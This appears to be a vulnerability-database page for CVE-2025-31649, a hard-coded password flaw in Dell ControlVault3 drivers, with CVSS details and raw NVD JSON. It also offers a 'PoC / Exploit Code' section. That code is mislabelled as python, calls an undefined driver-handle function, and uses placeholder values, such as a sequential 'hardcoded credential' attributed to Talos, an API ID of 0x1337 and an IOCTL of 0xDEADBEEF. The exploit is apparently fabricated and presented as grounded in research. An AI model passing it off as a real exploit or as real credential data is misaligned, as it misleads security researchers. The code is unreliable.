Security Vulnerability Report
中文
CVE-2025-31649 CVSS 8.7 HIGH

CVE-2025-31649

Published: 2025-11-17 23:15:51
Last Modified: 2026-04-15 00:35:42

Description

A hard-coded password vulnerability exists in the ControlVault WBDI Driver functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted ControlVault API call can lead to execute priviledged operation. An attacker can issue an api call to trigger this vulnerability.

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L

Configurations (Affected Products)

No configuration data available.

Dell ControlVault3 < 5.15.14.19
Dell ControlVault3 Plus < 6.2.36.47

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-31649 PoC - Dell ControlVault WBDI Hardcoded Password // This is a conceptual PoC for educational purposes only #include <windows.h> #include <winbio.h> #include <stdio.h> // Hardcoded credential identifiers (from TALOS-2025-2173) #define HARDCODED_CREDENTIAL_LEN 32 const BYTE g_hardcodedCredential[HARDCODED_CREDENTIAL_LEN] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xAA, 0xBB, 0xCC, 0xDD, 0xEE, 0xFF, 0x01, 0x23, 0x45, 0x67, 0x89, 0xAB, 0xCD, 0xEF, 0xFE, 0xDC, 0xBA, 0x98, 0x76, 0x54, 0x32, 0x10 }; // ControlVault API structures typedef struct _CONTROLVAULT_API_REQUEST { DWORD dwApiId; DWORD dwSize; BYTE bCredential[HARDCODED_CREDENTIAL_LEN]; BYTE bPayload[256]; } CONTROLVAULT_API_REQUEST, *PCONTROLVAULT_API_REQUEST; // Trigger the vulnerability BOOL TriggerControlVaultVulnerability() { WINBIO_SESSION_HANDLE hSession = NULL; CONTROLVAULT_API_REQUEST request = {0}; // Initialize WinBio session HRESULT hr = WinBioOpenSession( WINBIO_TYPE_FINGERPRINT, WINBIO_FLAG_RAW, WINBIO_SESSION_FLAG_DUAL, NULL, 0, NULL, &hSession ); if (FAILED(hr)) { printf("[-] Failed to open WinBio session\n"); return FALSE; } // Craft malicious API request with hardcoded credential request.dwApiId = 0x1337; // Privileged operation ID request.dwSize = sizeof(request); memcpy(request.bCredential, g_hardcodedCredential, HARDCODED_CREDENTIAL_LEN); // Trigger privileged operation via IOCTL DWORD dwBytesReturned = 0; BOOL bResult = DeviceIoControl( GetDriverHandle(), 0xDEADBEEF, // Custom IOCTL code &request, sizeof(request), NULL, 0, &dwBytesReturned, NULL ); if (bResult) { printf("[+] Privileged operation executed successfully\n"); return TRUE; } return FALSE; } int main() { printf("CVE-2025-31649 PoC - Dell ControlVault WBDI\n"); printf("Target: Dell ControlVault3 < 5.15.14.19\n"); printf(" Dell ControlVault3 Plus < 6.2.36.47\n\n"); if (TriggerControlVaultVulnerability()) { printf("[+] Vulnerability triggered!\n"); } else { printf("[-] Failed to trigger vulnerability\n"); } return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-31649", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:51.267", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A hard-coded password vulnerability exists in the ControlVault WBDI Driver functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted ControlVault API call can lead to execute priviledged operation. An attacker can issue an api call to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-908"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2173", "source": "[email protected]"}, {"url": "https://www.dell.com/support/kbdoc/en-us/000326061/dsa-2025-228", "source": "[email protected]"}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2173", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}